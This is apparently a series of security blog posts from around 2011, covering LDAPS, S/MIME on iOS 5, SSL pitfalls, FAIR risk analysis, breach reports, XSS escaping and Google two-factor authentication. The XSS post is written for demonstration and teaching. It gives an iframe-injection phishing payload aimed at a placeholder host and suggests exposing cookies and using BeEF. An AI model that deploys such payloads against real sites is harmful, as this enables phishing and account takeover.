LDAPS is used among security folks and developers pretty indiscriminately. The general gist is that the LDAP connection is encrypted between the client and server via SSL/TLS – with a lot of hand waving involved. But there is actually a slight difference in how SSL and TLS are negotiated over LDAP. TLS can be negotiated over the standard 389 port, rather than the 636 port we normally associate with SSL connections – although for the sake of convention, it’s generally done over port 636 as well.

LDAPS comes from LDAPv2 (retired in 2003) where the SSL negotiation takes place before any commands are sent from the client to the server. With a TLS connection, the connection is negotiated (non-encrypted) before any commands are sent – but the first command is StartTLS, which tells the server to renegotiate the connection, but this time, use TLS for encryption and authentication.

Despite these protocols being technically different, the general usage of the term LDAPS implies at least one of the methods.

My last post on the topic of S/MIME on iOS 5 got a lot of helpful comments from readers filled in the gaps left by Apple’s current lack of documentation on this topic. The previous article is still the best place for information on how to set up your device to use S/MIME. This post has more information on actually using S/MIME for encrypting email messages.

Enabling S/MIME

There’s a setting I missed in the previous post was pointed out by a commenter. After getting iOS 5 on the device and putting your certificates on there, you need to edit your email settings. Click Settings->Mail, Contacts, Calendars->Your email account->Account->Advanced. Scroll down to the S/MIME section and turn on S/MIME. (Note that this wasn’t required in order to read S/MIME encrypted email.) Enabling S/MIME causes two new options to appear, Sign and Encrypt. Selecting these will cause your iOS device to try and sign and/or encrypt each outgoing message. Make sure you enable the Encrypt option at this point to make your iOS device attempt to encrypt outgoing messages when possible. (more…)

NOTE: I’ve updated this post in a few places below today, 6/13/2011, based on help from commenters. Also see the follow-up article Sending and Receiving S/MIME Encrypted Email on iOS 5 (Beta).

During the 2011 Apple Worldwide Developer Conference keynote address, Scott Forstall indicated that iOS 5 would have support for S/MIME encrypted email. (Skip to 63:10 in the presentation.) This morning I successfully upgraded to the iOS 5 Beta and started being able to read my S/MIME encrypted email. Here is how I did it.

What you need:

-       Xcode 4.2 and iOS SDK 5 beta (requires iOS Developer Program account)

-       iOS 5 beta for your iOS device’s platform (requires iOS Developer Program account)

-       iTunes 10.5 beta (requires iOS Developer Program account)

-       iPhone Configuration Utility 3.3

-       Your S/MIME encryption and signature certificates exported in PKCS12 (.p12) format

(Note there is some discussion about not needing to pay for a developer program account to install iOS 5. I went the legitimate route.)

Click to read the whole walk-through of how I did it. (more…)

Cross-site scripting (XSS) vulnerabilities allow an attacker to inject content in an otherwise trusted web page. XSS attacks in the wild typically try to execute JavaScript, and consequently XSS issues are typically demonstrated with a script function that’s short, simple, and visual: the alert box. Many XSS examples use alert(1) or alert(‘XSS’) as a payload.

As others have noted, though, this fails to show the power of XSS, and may lead to a “so what?” reaction from developers not familiar with such a vulnerability. I like to compare alert(1) to showing that the safety of a gun is off. If someone has never handled or heard of a gun before, a small switch out of place won’t mean much. But when they see the gun fire and witness the damage a bullet can cause, the significance of that safety becomes apparent.

While I’m hardly the first to compile a list of example payloads that go beyond simple alert boxes (see also XSS – Exploitation beyond alert(‘xss’) and alert(‘xss’) – The slow death of XSS), I think it bears repeating that security professionals should be prepared to demonstrate the real dangers of XSS. Here are a few ideas to keep in your toolbox:

1. Expose cookies. My personal preference for a simple alert box when checking XSS is alert(document.cookie). Even if a developer is not familiar with XSS, most will likely recognize that access to the session data stored in a user’s cookie presents a problem. And note that if the injected script can alert those values, it can also send them to an external server, allowing an attacker to take control of the victim’s account
2. Gather real-world examples. While you’d certainly never want to just load a live payload on a vulnerable app, actual attacks against other sites are good testimonials for thinking about XSS. A few to get your file started:
   • Malware delivery on celebrity MySpace pages: Alicia Keys and other stars fell victim to an attack that didn’t even require JavaScript. An invisible <a> element covered the entire page, making any click send the user to a malicious site.
   • The Samy worm on MySpace: One of the fastest-spreading viruses used XSS. The Samy worm automatically friended other MySpace users and modified the profiles of victims. Its rapid spread caused MySpace to shut down temporarily.
   • Remote code execution on phones via the Android Market: A vulnerability in Google’s online store for Android apps could be used to send an install command when accessed from an Android phone. Once installed, the malicious app could then also be automatically launched.
   • Facebook bully video XSS payload: A recent attack exploiting a loophole in Facebook apps used event invites, chat messages, and Facebook pages to spread malicious links. The payload also included code for phishing account credentials.
3. Phishing demo. Create a page that mimics your app’s login form but submits to a different location, and save it somewhere safe but accessible. Add this bit of code to quickly replace a vulnerable page with your phishing page:
   

   x=document.createElement('iframe'),x.src='http://yourphishingpage/', x.height='100%',x.width='100%',x.frameBorder='0',document.body=x

4. Create a custom payload. Remember, once a script can be injected in a page, it basically has the same amount of access as any other script in the page. If you’re already familiar with code used by a vulnerable app, you can simply load a few of them with the XSS payload. With many sites using a range of client-side features, a few function calls can do quite a bit.
5. Set up a BeEF demo. The Browser Exploitation Framework, or BeEF for short, is a tool that essentially lets you create a small botnet. BeEF can be used to log keystrokes, detect features or history, and even launch Metasploit to load more sophisticated attacks.
6. Set up an XSS-based proxy. Tools such as Shell of the Future let you make requests for other sites from a victim’s browser and have the responses forwarded to your machine. This lets you tunnel traffic through other machines simply by exploiting XSS.

It’s data breach report day today. Or, so it seems. My brain just ‘sploded on overload from all the fresh tasty stats received. There’s not enough time today to go through everything with a fine-toothed comb. Suffice to say:

• Data breaches are continuing to happen in growing numbers.
• Basic security practices still aren’t happening.
• As painful as it is to admit, it appears that regulations like PCI DSS are having a positive impact.
• Our codebase still leaves much to be desired, though there is reason to be a bit optimistic.

That said, here’s the goods:

1. Verizon Business 2011 Data Breach Investigation Report
2. Veracode 2011 “State of Software Security” Report
3. Ponemon 2011 PCI DSS Compliance Trends Study

Incidentally, if you take the combined results of these studies, one of the key takeaways ties in very nicely with this quote from the current Cloud Security Alliance (CSA) v2.1 Security Guidance: “A portion of the cost savings obtained by Cloud Computing services must be invested into increased scrutiny of the security capabilities of the provider, application of security controls, and ongoing detailed assessments and audits, to ensure requirements are continuously met.” (h/t Gunnar Peterson)

A few years ago, I wrote a post about “the power of s” explaining how important it is to use https instead of http, and how that made things more secure. Strictly speaking, what I wrote then was true. It’s very important to implement SSL, and SSL can indeed make communications secure. But it’s more complicated than that. SSL is an excellent tool which allows secure communication if it is implemented correctly. A bad implementation, however, is no more secure than sending data via clear text. And it’s awfully easy to have a bad implementation.

Ciphers are a good place to start. A cipher is the method used to encrypt a message. It’s the basis for most of what we tend to think of as security. But not all ciphers are created equal. Some are simply not secure. DES, for example, while having no particular vulnerabilities, does not allow a long enough key to be secure with modern computing. Not coincidentally, this problem with DES demonstrates that even a secure cipher like AES can be rendered ineffective if an inadequate key length is chosen. Figuring out what key length – and comparing key lengths – takes in-depth understanding of the cipher in question: 3DES with a 128-bit key is comparable (though not equal) to RSA with a 2048-bit key!

After ciphers, there are hashes, message digests, and signatures. These authenticate a message and assure that, encrypted or not, a message came from the source which it claims to have come from and that the message was not altered in transit. These are all crucial for preventing “man in the middle” attacks by which a third party can take over communication. As with the ciphers themselves, the algorithms used here are very important, and many have been proven to be insecure.

On top of that, there is the matter of certificates. Certificates play an important role in proving the identity of each end of the communication, and determining who to trust. However, recent events have proven that the certificates themselves can be insecure, either due to poor design or compromise of the certificate authority.

These are the basic concerns entailed in implementing SSL. Would that it were really so simple. Unfortunately, the real world throws in greater complications. The truth is that implementing SSL properly relies on the options made available by the hardware and software vendors. They may not have implemented every possible cipher; it may not be possible to load custom certificates. The certificates in use may not be able to negotiate shared keys… the list goes on. And that assumes using something like a unified solution. Inevitably, almost any IT environment becomes a heterogeneous environment. There is always a particular piece of the puzzle – firewall, a management tool, a server – that simply must be from some other vendor. And these parts don’t always work well together; often the only option by which products from two different vendors can communicate at all turns out to be decidedly less than secure. On top of that, even if secure options are available, and all the various parts can use the same ciphers and other components, there’s the administrative overhead: sure, it’s possible for each SAN switch to have a certificate, but do you have the resources to administer certificates on more than 500 of them?

The more I’ve learned about SSL, the more I realize how difficult it is to truly engineer a secure solution. Doing so can require fundamental and sweeping changes to an IT infrastructure and may take months or more to enact. Of course, anyone who cares about security should implement some form of security – but it’s important to remember that not only is it not as simple as changing an option in a control panel, it’s often as difficult as engineering the infrastructure in the first place.

In light of the recent Epsilon data breach, it seems appropriate to chat briefly about the realities of balancing information risk. First and foremost, we need to make sure that we understand this thing called “risk.” In our context, risk is defined as “the probable frequency and probable magnitude of future loss” (based on Jack Jones’ FAIR definition). Put into practical terms, risk is the likelihood that we’ll experience a negative event. We then balance that out against the cost of defending against various scenarios (i.e., trying to reduce or transfer that risk), with the goal being to optimize cost vs. benefit. Let’s look at a couple practical examples.

(more…)

One of the primary weapons in a developer’s arsenal for stopping cross-site scripting (XSS) is output escaping. If an attacker can insert special characters into a page (such as < and >), they can potentially add new HTML or JavaScript and wreak havoc. By escaping data rendered by a page, you can change < to &lt; – the latter still gets rendered by the browser as < without creating a new HTML element.

However, it’s important to understand that this defensive strategy must include the concept of contextual escaping. That is, what characters you escape and how you handle them depends on the context of the output.

For instance, simply escaping or filtering every < and > is generally not enough to protect a web application. I’ve seen mainstream sites that escaped these characters, but then left quotation marks unchanged. When a parameter is rendered as HTML, " or ' may seem rather harmless. But consider this bit of code:

<script>var x = "parameter value";</script>

If the parameter value rendered here included a quotation mark, it would complete the variable definition and the rest of the parameter could be executed as JavaScript. I was reminded of contextual escaping’s importance just this week when I read this example of an XSS vulnerability in the password manager LastPass. In this case, the application properly escaped quotation marks in a script context, but still allowed characters that could close the script element and add a new one.

The OWASP XSS Prevention Cheat Sheet includes more details on characters to watch for in several common web app contexts. And remember that XSS in a JSON interface or iframe widget can be just as dangerous as obvious XSS in a search results page. Take note of where your application outputs data and make sure your XSS defenses match each context.

A couple of weeks ago, we brought to your attention the newly released two-factor authentication that Google rolled out for all of its web-based products (Gmail, Google Docs, Google Calendar, etc.). So now that it’s been out for a few weeks, and it’s finally had a chance to make its rounds to everyone’s accounts, let’s take a step back and see how it actually works.

We’ve talked about the importance of two-factor authentication in the past, and even a few other areas where it’s implemented.

Google did an excellent job at throwing together some tutorials on how to set-up everything and ensure your experience is pleasant. I would go into a detailed tutorial on all of this myself, but really I doubt I could do a better job than they did. But for those who just wanted a quick refresher, here goes. You can also read a fairly straight-forward take on everything directly from Google themselves and learn how it works.

1. Setup
2. Signing in with verification codes
3. Signing in using application-specific passwords

(more…)

News flash: Those so-called “risk” labels/ratings included in pentest and vuln scan reports are NOT actually “risk” representations.

I was in attendance at the OWASP Summit 2011 a couple weeks back, and the topic of “risk metrics” and labels came up during one session. As a result, I led a break-out session on what risk really looks like in the macro sense, in accordance with formal methods, and where these various scan/test results really fit in. The session had great conversation and highlighted for me a need to expand risk analysis training to a broader audience.

Below is a picture of the taxonomy of factors that make up a FAIR (Factor Analysis of Information Risk) risk analysis. Putting aside the discussion of how one generates the value ranges that go into each factor, let’s look at where pentest/scan results fall. Looking at the taxonomy below, note that there are two key halves: Loss Frequency and Loss Magnitude. As you peruse the factors that roll up to those halves, think about where your pentest/scan results might fit.

In order to properly estimate “risk” based on the results of a pentest or vuln scan, you need to understand the business impact in a number of structured scenarios. Simply understanding the Loss Frequency is not sufficient to estimate risk. However, that said, there is certainly valuable IF you process those findings accordingly. The main factor reflected by these test results will be “Resistance Strength,” which is to say that you will now have a better understanding of how much effort would be required to compromise your organization (given: compromise given enough time and resources is inevitable).

The next time you get a report from a vendor that talks about “risk,” please challenge their assertion. Ask them to explain how they estimated the financial impact of various weaknesses on your organization. Unless they interviewed your business management team to understand how a weakness could impact the business if exploited, then I submit that they’re not providing you with an actual risk rate. Instead, what you’re getting a snapshot reading of your Resistance Strength in a given context, as well as receiving some hints on what opposing Threat Capability might be. You’re still left needing to estimate the other factors under Loss Frequency, and you almost certainly need to fill in the blanks under Loss Magnitude (something that can be accomplished independently by developing loss tables for key systems, and then either providing those to 3rd parties performing the assessments, or combining them with the results on your own).

As an aside it’s worth noting that some 2nd generation “GRC” platforms are starting to integrate risk analysis capabilities like FAIR that can be leveraged to merge in scan/pentest results and to generate a reasonable risk analysis.